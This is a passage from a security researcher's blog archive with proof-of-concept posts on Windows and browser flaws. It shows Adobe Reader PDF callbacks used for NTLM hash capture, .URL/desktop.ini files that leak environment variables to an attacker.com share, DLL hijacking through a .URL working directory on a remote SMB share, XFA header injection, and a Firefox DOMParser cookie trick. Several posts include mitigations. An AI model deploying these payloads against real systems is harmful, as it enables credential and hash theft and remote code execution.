<span style="color: #808030;">/</span>T <span style="color: #808030;">(</span><span style="color: #808030;">)</span>
<span style="color: #808030;">/</span>FT <span style="color: #808030;">/</span>Btn
<span style="color: #808030;">></span><span style="color: #808030;">></span><span style="color: #808030;">]</span>
<span style="color: #808030;">></span><span style="color: #808030;">></span><span style="color: #808030;">]</span>
<span style="color: #808030;">/</span>XFA <span style="color: #008c00;">1</span> <span style="color: #008c00;">0</span> R
<span style="color: #808030;">></span><span style="color: #808030;">></span>
<span style="color: #808030;">/</span>Pages <span style="color: #808030;"><</span><span style="color: #808030;"><</span><span style="color: #808030;">></span><span style="color: #808030;">></span>
<span style="color: #808030;">></span><span style="color: #808030;">></span>
<span style="color: #808030;">></span><span style="color: #808030;">></span>
</pre>
<!--Created using ToHtml.com on 2019-01-23 09:12:09 UTC --><br /></div>
<div>
<h3>
SMB hashes</h3>
<div>
<br /></div>
<div>
It is also possible to use this callback to capture the NTMLv2 hash via the <a href="https://github.com/SpiderLabs/Responder">Responder</a> tool from SpiderLabs. The following screenshot shows the output of the tool as soon as the PDF is opened by Adobe Reader:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGMkXdYA7EwyKXpOoGwBN_A-ViUhR01q3CwSnDYSe8Z6pdTw7nGu3mfyTRzrTYcTHcCsi_xLCWw1IKF4fu8dYQ1bYjYSfRGDw-fweDdwsNhSEPfDKDi8-T9pPZi16ozLgqNjh08PlvRKvj/s1600/blog.png.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="437" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGMkXdYA7EwyKXpOoGwBN_A-ViUhR01q3CwSnDYSe8Z6pdTw7nGu3mfyTRzrTYcTHcCsi_xLCWw1IKF4fu8dYQ1bYjYSfRGDw-fweDdwsNhSEPfDKDi8-T9pPZi16ozLgqNjh08PlvRKvj/s1600/blog.png.jpg" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
<br /></div>
<h3>
Mitigation option</h3>
<br />
To prevent the callback from happening it is necessary to enable the "Protected View" in Adobe Reader. This option it is available in Edit -> Settings -> Security (Advanced) -> Protected View: Enable for all files. In case this setting is enabled Adobe Reader will freeze when the PoC is opened but no request is send. Any "normal" PDF will just open fine.<br />
<br /></div>
<h3>
</h3>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-74355308868174967642018-08-20T05:43:00.003-07:002018-08-20T05:43:57.349-07:00Leaking Environment Variables in Windows Explorer via .URL or desktop.ini files<br />
I recently discovered an interesting behavior how explorer.exe handles defined icon resources for certain file types<br />
<br />
<h3>
IconFile property</h3>
<div>
<br /></div>
The <a href="http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html">.URL</a> file format as well as <a href="https://hwiegman.home.xs4all.nl/desktopini.html">desktop.ini</a> allow to define icons. In case of .URL files, this icon will be used for the .URL file itself - desktop.ini defines the icon of the folder it is placed in.<br />
I will only describe the behavior of .URL files but for desktop.ini the behavior is almost identical.<br />
Basically all you need to do is to create a .URL file either in a local folder or maybe on an USB stick.<br />
The important property to specify is the <i>IconFile</i> property. Not only does it allow to specify remote icons on a SMB share but additionally it allows to use environment variables.<br />
That means as soon as explorer.exe views a folder, which contains a .URL file, it will lookup any specified environment variable like <i>%PATH%</i> or <i>%USERNAME%</i> before sending the actual request, therefore leaking its content to the attacker controlled server.<br />
<b>Note:</b><br />
In case the specified remote server (eg. attacker.com) has no open SMB ports Windows will fallback to Webdav, which is using port 80. But this fallback mechanism does not always work properly:<br />
<br />
<b>filename:</b><br />
<span style="font-family: Courier New, Courier, monospace;"><i>leak.URL</i></span><br />
<br />
<b>Content:</b><br />
<span style="font-family: Courier New, Courier, monospace;"><i>[InternetShortcut]</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>URL=whatever</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>WorkingDirectory=whatever</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>IconFile=<span style="background-color: yellow;">\\attacker.com\webdav\%USERNAME%.icon</span></i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>IconIndex=1</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span>
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span>
In case you want to leak environment informations, which are compatible with DNS, you can use the following structure:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><i>[InternetShortcut]</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>URL=whatever</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>WorkingDirectory=whatever</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i>IconFile=<span style="background-color: yellow;">\\</span></i></span><i style="font-family: "Courier New", Courier, monospace;"><span style="background-color: yellow;">%USERNAME%.</span></i><i style="font-family: "Courier New", Courier, monospace;"><span style="background-color: yellow;">attacker.com\webdav\whatever.icon</span></i><br />
<span style="font-family: Courier New, Courier, monospace;"><i>IconIndex=1</i></span><br />
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span>
In case you want to try this behavior yourself:<br />
<br />
<ol>
<li>Create leak.URL in any folder</li>
<li>Use the payloads described above and use your own domain for the IconFile property</li>
<li>Open the folder, which contains the created .URL file in step 1, with windows explorer.</li>
<li>Wait for explorer to send the request</li>
</ol>
<div>
// this behavior was tested on Windows 10 - but should work on any Windows system as .URL was introduced in <a href="https://en.wikipedia.org/wiki/Shortcut_(computing)">Windows 95 </a></div>
<div>
<br /></div>
<div>
In case you are wondering: If SMB is available you can use Spiderlabs Responder tool to listen for hashes. </div>
<div>
The reason for the support of environment variable is that in case you want to use default icons installed by Windows, you can use the environment variables to specify the Windows directory (as is it not ensured that Windows is installed on C:\windows)</div>
<div>
Regarding the support for remote icons - I think this is just an oversight</div>
<br />
<br />
<br />
Regarding the use cases: Maybe this could be used for red teaming scenarios. As an example, you could drop USB sticks in front of a company and each of them contain a .URL file in the root directory. As soon as an employee is viewing the USB stick a request will be triggered and therefore confirming that it was used on a company PC (without the requirement of any malware/exploit/modified usb firmware)<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-78675220210015138582018-05-18T07:19:00.001-07:002018-05-18T08:17:10.394-07:00DLL Hijacking via URL files<br />
This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them.<br />
<br />
<h4>
The Problem</h4>
<div>
<br /></div>
<div>
On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx">ShellExecute</a> although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass <i>file:///c:/windows/system32/cmd.exe</i> but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring.</div>
<div>
So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code:</div>
<div>
<br /></div>
<h3>
<b>Abusing the download folder</b></h3>
<div>
<b><br />
</b></div>
The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems:<br />
1) It requires that I am able to trigger a download of a file without user interaction<br />
2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers<br />
<br />
<b>Zone Identifiers </b><br />
<b><br />
</b> In case a file is downloaded (eg. via the web browsers) Windows adds an <a href="https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/">Alternative Data Stream</a> called <i>Zone.Identifier </i>to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <i><realfileOnDisk>:<ADSName></i>.<br />
In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like example.com, it gets assigned a Zone ID of 3:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxE7FS3Ox-EHU2v7nVdgD62LiumnzJ1OMXJd0KC7-6wvEhEYRrc6xrKDpUIHn9R3KddnVA2f6LYHZ6PxxCMn1Qu7DihhjZO1IL5AuGIaPqRqxb4PEQU85fYbqbPfdHwAwdgdYfRIXZPRqS/s1600/Capture.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="462" data-original-width="675" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxE7FS3Ox-EHU2v7nVdgD62LiumnzJ1OMXJd0KC7-6wvEhEYRrc6xrKDpUIHn9R3KddnVA2f6LYHZ6PxxCMn1Qu7DihhjZO1IL5AuGIaPqRqxb4PEQU85fYbqbPfdHwAwdgdYfRIXZPRqS/s320/Capture.PNG" width="320" /></a></div>
<i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <i><span style="font-family: "courier new" , "courier" , monospace;">>dir /R downloaded.exe</span></i><br />
<i><span style="font-family: "courier new" , "courier" , monospace;">downloaded.exe:Zone.Identifier:$DATA</span></i><br />
<i><span style="font-family: "courier new" , "courier" , monospace;">>notepad downloaded.exe:Zone.Identifier</span></i><br />
<i><span style="font-family: "courier new" , "courier" , monospace;">[ZoneTransfer]</span></i><br />
<i><span style="font-family: "courier new" , "courier" , monospace;"><span style="background-color: yellow;">ZoneId</span>=3</span></i><br />
<i><span style="font-family: "courier new" , "courier" , monospace;"><br />
</span></i> <br />
As soon as the <i>ZoneId </i>is > 2 Windows will show the following warning dialog for potential insecure file extensions:<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4gFYmBl9iZbqoQHFjc2WomwxSGkvUpYmXCwECRqM_Mflxaj9cKKSZldaeuAQNfdwLaXS-fiZjSdtwoHOYXq0dIA7uIRfkz5yvYcIL42tfI-iVv0KUihF9Gt1TI_kQHqyKShWpa-2FVFSv/s1600/Capture2.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="309" data-original-width="413" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4gFYmBl9iZbqoQHFjc2WomwxSGkvUpYmXCwECRqM_Mflxaj9cKKSZldaeuAQNfdwLaXS-fiZjSdtwoHOYXq0dIA7uIRfkz5yvYcIL42tfI-iVv0KUihF9Gt1TI_kQHqyKShWpa-2FVFSv/s1600/Capture2.PNG" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1: Warning Dialog</td></tr>
</tbody></table>
<br />
<br />
<br />
This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on.<br />
I have to mention that I discovered that certain 3rd party extensions like Pythons <i>.py</i> files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable.<br />
<br />
<h3>
SMB/UNC Paths</h3>
<br />
After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler:<br />
<br />
<i>file://attacker.com/SMBShare/fileYouWantoToOpen</i><br />
<br />
My first naive thinking was: As the file is hosted on a remote SMB share, there is no <i>Zone.Identifier</i> <i>ADS</i> present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application....<br />
Yeah thats not how it works. Just have a look at the following examples:<br />
<br />
<i>file://attacker.com/SMBShare/evil.exe</i><br />
<i>file://attacker.com/SMBShare/test.bat</i><br />
<i><br />
</i> This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them.<br />
<br />
<h4>
The start of the solution - .URL </h4>
<div>
<br /></div>
After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (<i>file://attacker.com/SMBShare/test.URL</i>). I was familiar with the following .URL structure :<br />
<br />
<b>Link to a local file:</b><br />
<i>[InternetShortcut]</i><br />
<i>URL=C:\windows\system32\cmd.exe</i><br />
<b><br />
</b> <b>Link to a HTTP resource:</b><br />
<i>[InternetShortcut]</i><br />
<i>URL=http://example.com</i><br />
<br />
<br />
Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully <a href="http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html">someone</a> already documented all the supported properties of .URL files so I decided to have a look:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>The classic URL file format is pretty simple; it has a format similar to an INI file:</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><br />
</i></span> <span style="font-family: "courier new" , "courier" , monospace;"><i>Sample URL File:</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><br />
</i></span> <span style="font-family: "courier new" , "courier" , monospace;"><i>_______________________________________________________</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><br />
</i></span> <span style="font-family: "courier new" , "courier" , monospace;"><i>[InternetShortcut]</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>URL=http://www.someaddress.com/</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><span style="background-color: yellow;">WorkingDirectory=</span>C:\WINDOWS\</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>ShowCommand=7</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>IconIndex=1</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>IconFile=C:\WINDOWS\SYSTEM\url.dll</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>Modified=20F06BA06D07BD014D</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>HotKey=1601</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>_______________________________________________________</i></span><br />
<br />
<i><br />
</i> <i><br />
</i>I think the <i>WorkingDirectory</i> directive is self explanatory but it allows to set the working directory of the application, which is specified by the <i>URL</i> directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc.<br />
This gave me the following idea:<br />
<i><br />
</i> <br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>[InternetShortcut]</i></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i>URL=file:///c:/<pathToAnApplication></i></span><br />
<i style="font-family: "Courier New", Courier, monospace;"><span style="background-color: yellow;">WorkingDirectory=\\attacker.com\SMBShare</span></i><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><span style="background-color: yellow;"><br />
</span></i></span> <br />
<span style="background-color: white;"><span style="font-family: inherit;">Maybe I can specify a standard Windows Application via the <i>URL</i> directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic:</span></span><br />
<br />
<ol>
<li>Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. </li>
<li>Create a .URL for each enumerated applications on a SMB share. Of course the <i>URL</i> directive points to the targeted application and the <i>WorkingDirectory</i> is set to the remote SMB share. </li>
<li>Get a list of all the currently running processes as a base comparison.</li>
<li>Start <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">ProcessMonitor</a></li>
<li>Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share.</li>
<li>Execute a .URL file eg <i>file://attacker.com/SMBShare/poc1.URL</i></li>
<li>Get a list of all the currently running processes</li>
<li>Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources.</li>
<li>Repeat step 6,7 and 8 until all created .URL files were executed</li>
</ol>
<div>
After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) </div>
<div>
<br /></div>
<div>
<i>TestNotes:</i></div>
<div>
<i>I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. </i></div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<br />
<h3>
The results</h3>
<div>
<br /></div>
<div>
First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur.<br />
As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMUEoWcC3vi63lHTXP5W0Y0bhe460xfeA6DnSztJI6jTv70S6EE6N1E5twVK42bjb-A0X9TetN5PzvCcZkFfJWRrV6g5aDMpkN23SPoBT3bRZYSeNqqcFykxBdPB9E9g0MatwP0Gm7lTqb/s1600/procmon2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="500" data-original-width="809" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMUEoWcC3vi63lHTXP5W0Y0bhe460xfeA6DnSztJI6jTv70S6EE6N1E5twVK42bjb-A0X9TetN5PzvCcZkFfJWRrV6g5aDMpkN23SPoBT3bRZYSeNqqcFykxBdPB9E9g0MatwP0Gm7lTqb/s1600/procmon2.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho3h7JcPqJF1R-YFDpmjr7WSoJ07Um_6KiXaoyTzV34SOzn1CI4MP91jhSWDvNeaiCfb7_AKcOCU1vhiiaVBsIgARspr-IVmbDvOFe1lgfyk9AP-JR9uJcWbch6BvwPlwHQAv49uyLwPgd/s1600/dllhijacking.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="260" data-original-width="739" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho3h7JcPqJF1R-YFDpmjr7WSoJ07Um_6KiXaoyTzV34SOzn1CI4MP91jhSWDvNeaiCfb7_AKcOCU1vhiiaVBsIgARspr-IVmbDvOFe1lgfyk9AP-JR9uJcWbch6BvwPlwHQAv49uyLwPgd/s1600/dllhijacking.png" /></a></div>
<br />
My DLL was successfully loaded from the remote share (<i>yes in this case I used localhost</i>)! Additionally the message box of my DLL was displayed, ergo my own code was executed!<br />
<br />
To be sure I verified this behavior by setting a static DNS entry in the <i>C:\windows\system32\drivers\etc\hosts</i> file and mapped attacker.com to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local attacker.com machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked :)<br />
<br />
So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered):</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><i>[InternetShortcut]</i></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><i>URL=C:\windows\WinSxS\x86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667\mscorsvw.exe</i></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><i>WorkingDirectory=\\attacker.com\SMBShare\</i></span></div>
</div>
<span style="font-family: "courier new" , "courier" , monospace;"><i><br />
</i></span> <span style="font-family: inherit;"><br />
</span> <span style="font-family: inherit;">mscorsvw.exe will load <span style="background-color: yellow;">mscorsvc.dll</span> from the remote smb share! </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">To sum up the attack:</span><br />
<ol>
<li>A vulnerable application allows to execute a file but without parameters</li>
<li>I abuse this vulnerability to load file://attacker.com/SMBShare/poc.URL</li>
<li>poc.URL contains structure posted above</li>
<li>My malicious mscorsvc.dll will be loaded -> WIN</li>
</ol>
<br />
<br />
There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path.<br />
<br />
<i><b>Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. </b></i><br />
<i><br /></i>
<br />
<h4>
Protection</h4>
<div>
<br /></div>
I reported this issue to Microsoft and they confirmed that they could reproduce it.<br />
Afterwards I got the following response:<br />
<br />
<i>----</i><br />
<i><br /></i>
<br />
<div>
<i>Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key.</i></div>
<div>
<i><br />
</i></div>
<div>
<i><a href="https://support.microsoft.com/en-us/help/2264107/a-new-cwdillegalindllsearch-registry-entry-is-available-to-control-the%C2%A0">https://support.microsoft.com/en-us/help/2264107/a-new-cwdillegalindllsearch-registry-entry-is-available-to-control-the </a></i></div>
<div>
<i><br />
</i></div>
<div>
<i>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]</i></div>
<span style="font-family: "tahoma" , "verdana" , "arial"; font-size: x-small;"><i> </i></span><br />
<div>
<i>"CWDIllegalInDllSearch"=dword:ffffffff</i><br />
<i><br /></i>
<i>----</i><br />
<i><br /></i></div>
<b>I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector . Afterwards I got permission to publish this blogpost:</b><br />
<i><br /></i>
<i>----</i><br />
<i><br /></i>
<i>Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. </i><br />
<i><br /></i>
<br />
<i><br /></i>
<i>Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...]</i><br />
<br />
<i>----</i><br />
<br />
<br />
<br />
<br />
<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-2038886175796532632018-05-02T07:06:00.000-07:002018-05-02T07:17:01.118-07:00Adobe Reader PDF - Client Side Request Injection<h2>
</h2>
<div>
Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests.<br />
<b>For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.</b><br />
Additionally it is possible to create a completely new request by abusing HTTP pipelining.<br />
One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.<br />
<br />
With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.<br />
<br />
<br />
<h4>
</h4>
<h4>
SubmitForm</h4>
<div>
<br /></div>
<div>
The XFA specification defines an element called <i><a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.364.2157&rep=rep1&type=pdf#page=450"><submit></a></i>. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will. </div>
<div>
I recommend to try it yourself ( start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader ). As soon as the PDF is loaded it will automatically trigger the POST request, no user interaction necessary.</div>
<div>
<br /></div>
<div>
Tested ActiveX version:</div>
<div>
17.12.20093.238000<br />
<br />
Adobe Acrobat Reader DC version:<br />
18.011.20038</div>
<div>
<br /></div>
<h4>
Technical notes</h4>
<br />
Normally I use the <i>initialize </i>event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the <i>initialize </i>event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the <i>docReady </i>event<i>, </i>as it is fired as soon as the DOM/document is properly merged.<br />
<br /></div>
<div>
<pre class="xml" name="code">% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012</pre>
<pre class="xml" name="code">% modified by InsertScript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event <span style="background-color: yellow;">activity="docReady"</span><span style="background-color: white;"> </span><span style="background-color: yellow;">ref="$host"</span> name="event__click">
<submit
textEncoding="<span style="background-color: lime;">UTF-16&#xD;&#xA;test: test</span>&#xD;&#xA;"
xdpContent="pdf datasets xfdf"
target="<span style="background-color: white;">http://</span><span style="background-color: orange;">example.com</span><span style="background-color: cyan;">/test</span>"/>
</event></pre>
<pre class="xml" name="code"></field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>></pre>
<br />
<b>Triggered HTTP request:</b><br />
<br />
<pre class="xml" name="code">POST <span style="background-color: cyan;">/test</span> HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=<span style="background-color: lime;">utf-16</span>
<span style="background-color: lime;">test: test</span>
Accept-Language: de-DE</pre>
<pre class="xml" name="code">Host: <span style="background-color: orange;">example.com</span>
[...]
</pre>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-33524935272887215582017-11-14T07:37:00.000-08:002017-11-14T07:37:23.180-08:00Firefox - settings cookie via DOMParser<br />
<br />
<h2>
Firefox < 57 - settings cookie via DOMParser</h2>
<div>
<br /></div>
<div>
While doing some research I discovered a interesting behavior in Firefox.<br />
The following JavaScript code stores a XHTML document as a string in the meta variable.<br />
Afterwards the variable is parsed via the DOMParser interface, which returns a valid XMLDocument:</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><span style="background-color: yellow;">meta</span> = `<html xmlns="http://www.w3.org/1999/xhtml"></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><head></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppt=qqq' /></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"></head></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><body></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> some content</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"></body></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"></html>`</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">var parser = new DOMParser();</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">meta = <span style="background-color: yellow;">parser.parseFromString(meta, 'application/xml');</span></span><br />
<br />
While parsing the defined XHTML structure, Firefox parses the <i>meta </i>tag and sets the cookie <i>pppt=qqq</i>. You would assume the cookie would be solely in the context of the XHTML document but I discovered that it is actually set on the domain executing the PoC.<br />
<br />
